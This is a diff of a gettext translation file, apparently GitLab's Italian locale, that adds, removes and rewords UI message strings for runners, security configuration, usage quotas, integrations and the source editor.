msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr "Richiedi accesso"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr "Set"
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr "Settembre"
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "imposta una password"
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr "Impostazioni"
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr "clicca per caricare"
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
